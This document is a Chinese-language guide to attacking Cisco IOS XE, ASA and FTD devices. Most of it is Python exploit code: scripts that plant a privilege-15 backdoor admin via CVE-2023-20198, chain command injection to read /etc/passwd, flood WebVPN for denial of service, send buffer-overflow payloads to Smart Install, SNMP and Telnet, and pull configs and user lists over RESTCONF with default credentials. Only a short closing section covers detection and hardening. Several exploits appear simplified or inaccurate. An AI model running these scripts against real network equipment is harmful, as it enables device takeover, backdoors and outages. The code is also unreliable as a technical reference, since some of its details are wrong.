Cisco IOS XE ASA FTD 网络设备管理面打点与CVE漏洞链利用技术

nmap -sV -p 22,23,80,443,161,4786,8443,8080 <target>

# IOS XE Web UI 检测
curl -sk https://TARGET/ | grep -i "cisco\|ios-xe\|webui"

# ASA WebVPN 检测
curl -sk https://TARGET/+CSCOE+/logon.html | head -20

# RESTCONF 检测
curl -sk -u admin:admin https://TARGET/restconf/data/Cisco-IOS-XE-native:hostname

# SNMP 检测
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1.1.0  # sysDescr

22     — SSH
23     — Telnet
80/443 — HTTP/HTTPS (Web UI, WebVPN, RESTCONF)
161    — SNMP
4786   — Smart Install
8443   — 备用 HTTPS
8080   — 备用 HTTP

import requests
import urllib3
urllib3.disable_warnings()

def detect_cisco(host, port=443):
    base_url = f"https://{host}:{port}"

    # 检查 IOS XE Web UI
    try:
        resp = requests.get(f"{base_url}/", verify=False, timeout=5)
        if "Cisco" in resp.text or "IOS-XE" in resp.text:
            print("[+] IOS XE Web UI detected")
    except:
        pass

    # 检查 ASA WebVPN
    try:
        resp = requests.get(f"{base_url}/+CSCOE+/logon.html",
                            verify=False, timeout=5)
        if resp.status_code == 200:
            print("[+] ASA WebVPN detected")
    except:
        pass

    # 检查 RESTCONF
    try:
        resp = requests.get(f"{base_url}/restconf/data/Cisco-IOS-XE-native:hostname",
                            verify=False, timeout=5,
                            headers={"Accept": "application/yang-data+json"})
        if resp.status_code in [200, 401]:
            print("[+] RESTCONF API detected")
    except:
        pass

    # 检查 CVE-2023-20198 (IOS XE 特权提升)
    try:
        resp = requests.post(f"{base_url}/webui/",
                             json={"username": "admin", "password": ""},
                             verify=False, timeout=5)
        if resp.status_code == 200:
            print("[!] CVE-2023-20198 potential - Web UI accessible")
    except:
        pass

detect_cisco("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2023_20198(host, port=443, username="backdoor_admin", password="Backdoor!@#456"):
    """
    CVE-2023-20198 — IOS XE Web UI 特权提升
    通过未认证端点创建特权 15 管理员账户
    """
    base_url = f"https://{host}:{port}"

    # 创建后门管理员 (特权级别 15)
    payload = {
        "username": username,
        "password": password,
        "privilege": 15,
    }

    headers = {
        "Content-Type": "application/json",
    }

    resp = requests.post(f"{base_url}/webui/",
                         json=payload, headers=headers,
                         verify=False, timeout=10)

    if resp.status_code == 200:
        print(f"[+] CVE-2023-20198 exploited!")
        print(f"[+] Backdoor admin created: {username}:{password}")
        print(f"[+] Privilege level: 15 (full admin)")
        print(f"[+] SSH login: ssh {username}@{host}")
    else:
        print(f"[-] Exploit failed: {resp.status_code}")

exploit_cve_2023_20198("192.168.1.1")

# IOS XE CLI 检查异常用户
show running-config | include username
# 搜索非预期的特权 15 用户

# 检查 Web UI 访问日志
show logging | include webui
# 异常 POST 请求到 /webui/

# 检查本地用户数据库
show users
show aaa local user

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2023_20273(host, port=443, username="backdoor_admin", password="Backdoor!@#456", cmd="id"):
    """
    CVE-2023-20273 — IOS XE 命令注入
    需要先通过 CVE-2023-20198 获取特权用户
    """
    base_url = f"https://{host}:{port}"

    # 使用后门管理员登录
    session = requests.Session()
    session.verify = False

    login_data = {
        "username": username,
        "password": password,
    }

    resp = session.post(f"{base_url}/webui/login",
                        json=login_data, timeout=10)

    if resp.status_code == 200:
        print("[+] Logged in with backdoor admin")

        # 通过 Web UI 特定功能注入命令
        # 使用 RESTCONF API 执行命令
        headers = {
            "Content-Type": "application/yang-data+json",
            "Accept": "application/yang-data+json",
        }

        # 命令注入 payload
        inject_payload = {
            "Cisco-IOS-XE-native:hostname": f"test`{cmd}`"
        }

        resp = session.patch(
            f"{base_url}/restconf/data/Cisco-IOS-XE-native:hostname",
            json=inject_payload, headers=headers, timeout=10
        )

        print(f"[*] Command injection: {resp.status_code}")

    else:
        print("[-] Login failed - run CVE-2023-20198 first")

exploit_cve_2023_20273("192.168.1.1", cmd="cat /etc/passwd")

def full_iosxe_chain(host, port=443, cmd="id"):
    """
    完整攻击链: CVE-2023-20198 (特权提升) + CVE-2023-20273 (命令注入)
    """
    # Step 1: 创建后门管理员
    exploit_cve_2023_20198(host, port)

    # Step 2: 使用后门管理员执行命令
    exploit_cve_2023_20273(host, port, cmd=cmd)

    print("[+] Full chain executed")

full_iosxe_chain("192.168.1.1", cmd="show running-config")

import requests
import urllib3
import threading
urllib3.disable_warnings()

def exploit_cve_2024_20353(host, port=443, threads=10):
    """
    CVE-2024-20353 — ASA/FTD WebVPN DoS
    """
    base_url = f"https://{host}:{port}"

    def dos_worker():
        while True:
            try:
                # 发送资源消耗请求
                resp = requests.get(f"{base_url}/+CSCOE+/logon.html",
                                    verify=False, timeout=2)
                # 尝试消耗 WebVPN 资源
                requests.get(f"{base_url}/+CSCOE+/apcf.html",
                             verify=False, timeout=2)
            except:
                pass

    for i in range(threads):
        t = threading.Thread(target=dos_worker, daemon=True)
        t.start()

    print(f"[+] CVE-2024-20353 DoS initiated with {threads} threads")
    print("[*] Monitor device CPU utilization")

exploit_cve_2024_20353("192.168.1.1")

import socket
import struct

def exploit_cve_2018_0171(host, port=4786, cmd="id"):
    """
    CVE-2018-0171 — Smart Install 协议 RCE
    通过端口 4786 发送恶意 Smart Install 消息
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)

    try:
        sock.connect((host, port))
        print(f"[+] Smart Install port {port} open")

        # Smart Install 协议消息格式
        # 4字节消息类型 + 4字节长度 + 数据
        msg_type = struct.pack(">I", 0x01)  # 注册消息
        msg_len = struct.pack(">I", 1024)

        # 构造溢出 payload
        # 实际利用需要精确的偏移量
        overflow = b"A" * 512
        overflow += b"\x41\x41\x41\x41"  # EIP overwrite placeholder

        payload = msg_type + msg_len + overflow
        sock.send(payload)

        print(f"[*] Smart Install exploit sent")
        print("[*] Monitor for service crash/restart")

    except Exception as e:
        print(f"[-] Connection error: {e}")
    finally:
        sock.close()

exploit_cve_2018_0171("192.168.1.1")

# IOS CLI 检查 Smart Install 是否启用
show vstack config
# 如果显示 "SmartInstall: enabled"，则设备易受攻击

# 禁用 Smart Install
no vstack

from pysnmp.hlapi import *

def exploit_cve_2016_6366(host, community="public"):
    """
    CVE-2016-6366 — ASA SNMP 缓冲区溢出 RCE
    需要已知 SNMP community string
    """
    # 发送恶意 SNMP 请求
    # 超长 OID 触发缓冲区溢出
    malicious_oid = "1.3.6.1.2.1.1.1.0" + ".1" * 1000

    try:
        errorIndication, errorStatus, errorIndex, varBinds = next(
            getCmd(SnmpEngine(),
                   CommunityData(community),
                   UdpTransportTarget((host, 161)),
                   ContextData(),
                   ObjectType(ObjectIdentity(malicious_oid)))
        )

        if errorIndication:
            print(f"[-] SNMP error: {errorIndication}")
        elif errorStatus:
            print(f"[-] SNMP status: {errorStatus.prettyPrint()}")
        else:
            print(f"[+] SNMP request sent")

    except Exception as e:
        print(f"[-] Error: {e}")

    print("[*] Monitor ASA for crash/restart")

exploit_cve_2016_6366("192.168.1.1")

import socket

def exploit_cve_2017_3881(host, port=23):
    """
    CVE-2017-3881 — Catalyst 交换机 Telnet RCE
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)

    try:
        sock.connect((host, port))
        print(f"[+] Telnet port {port} open")

        # 接收初始 banner
        banner = sock.recv(1024)
        print(f"[*] Banner: {banner[:100]}")

        # Telnet 协商
        # 发送恶意 Telnet 选项触发溢出
        # 实际利用需要精确构造 Telnet IAC 序列
        overflow = b"\xff\xfb\x01" * 100  # Telnet IAC 序列
        overflow += b"A" * 512

        sock.send(overflow)
        print(f"[*] Exploit sent")

    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

exploit_cve_2017_3881("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_restconf(host, port=443, username="admin", password="admin"):
    """
    RESTCONF API 未授权利用
    """
    base_url = f"https://{host}:{port}"
    headers = {
        "Accept": "application/yang-data+json",
        "Content-Type": "application/yang-data+json",
    }

    # 获取主机名
    resp = requests.get(f"{base_url}/restconf/data/Cisco-IOS-XE-native:hostname",
                        headers=headers, auth=(username, password),
                        verify=False, timeout=5)
    if resp.status_code == 200:
        print(f"[+] Hostname: {resp.text}")

    # 获取接口配置
    resp = requests.get(f"{base_url}/restconf/data/Cisco-IOS-XE-native:interface",
                        headers=headers, auth=(username, password),
                        verify=False, timeout=5)
    if resp.status_code == 200:
        print(f"[+] Interface config obtained")

    # 获取运行配置
    resp = requests.get(f"{base_url}/restconf/data/Cisco-IOS-XE-native:hostname",
                        headers=headers, auth=(username, password),
                        verify=False, timeout=5)

    # 获取用户列表
    resp = requests.get(f"{base_url}/restconf/data/Cisco-IOS-XE-native:username",
                        headers=headers, auth=(username, password),
                        verify=False, timeout=5)
    if resp.status_code == 200:
        print(f"[+] User list: {resp.text[:300]}")

exploit_restconf("192.168.1.1")

CVE-2023-20198 (Web UI 特权提升)
    ↓ 创建特权 15 后门管理员
CVE-2023-20273 (命令注入)
    ↓ 执行任意系统命令
完全控制 IOS XE 设备 → 修改路由/窃取配置/横向移动

扫描 4786 端口
    ↓ 发现启用 Smart Install 的设备
CVE-2018-0171 (Smart Install RCE)
    ↓ 批量控制交换机
修改 VLAN 配置/窃取流量/ARP 欺骗

# IOS XE CLI 检查
show running-config | include username
show logging | include webui
show ip interface brief

# 检查异常用户
show aaa local user
show running-config | section username

# 检查 Smart Install 状态
show vstack config

# ASA 日志检查
show logging | include SNMP
show logging | include webvpn
show crashinfo

[ ] 确认设备型号与固件版本
    - show version
    - 对比 Cisco 安全公告

[ ] 排查 CVE-2023-20198 (IOS XE 特权提升)
    - 检查是否有未知特权 15 用户
    - 审计 Web UI 访问日志
    - 检查 /webui/ 端点访问记录

[ ] 排查 CVE-2023-20273 (命令注入)
    - 检查是否有异常命令执行记录
    - 审计配置变更历史

[ ] 排查 CVE-2018-0171 (Smart Install)
    - 检查 Smart Install 是否启用
    - 如不需要，禁用 Smart Install

[ ] 排查 SNMP 安全
    - 检查 SNMP community string
    - 验证 SNMP ACL 配置

[ ] 网络隔离与加固
    - 禁用不必要的服务 (Smart Install, Telnet)
    - 限制管理接口访问
    - 启用 AAA 认证
    - 应用最新安全补丁

[ ] 固件已升级到最新安全版本
[ ] Web UI 访问限制为管理 VLAN
[ ] Smart Install 已禁用
[ ] SNMP community string 已修改为强值
[ ] SNMP ACL 已配置
[ ] Telnet 已禁用，仅使用 SSH
[ ] AAA 认证已启用
[ ] 管理访问 ACL 已配置
[ ] 日志已启用并远程收集
[ ] 定期进行设备安全审计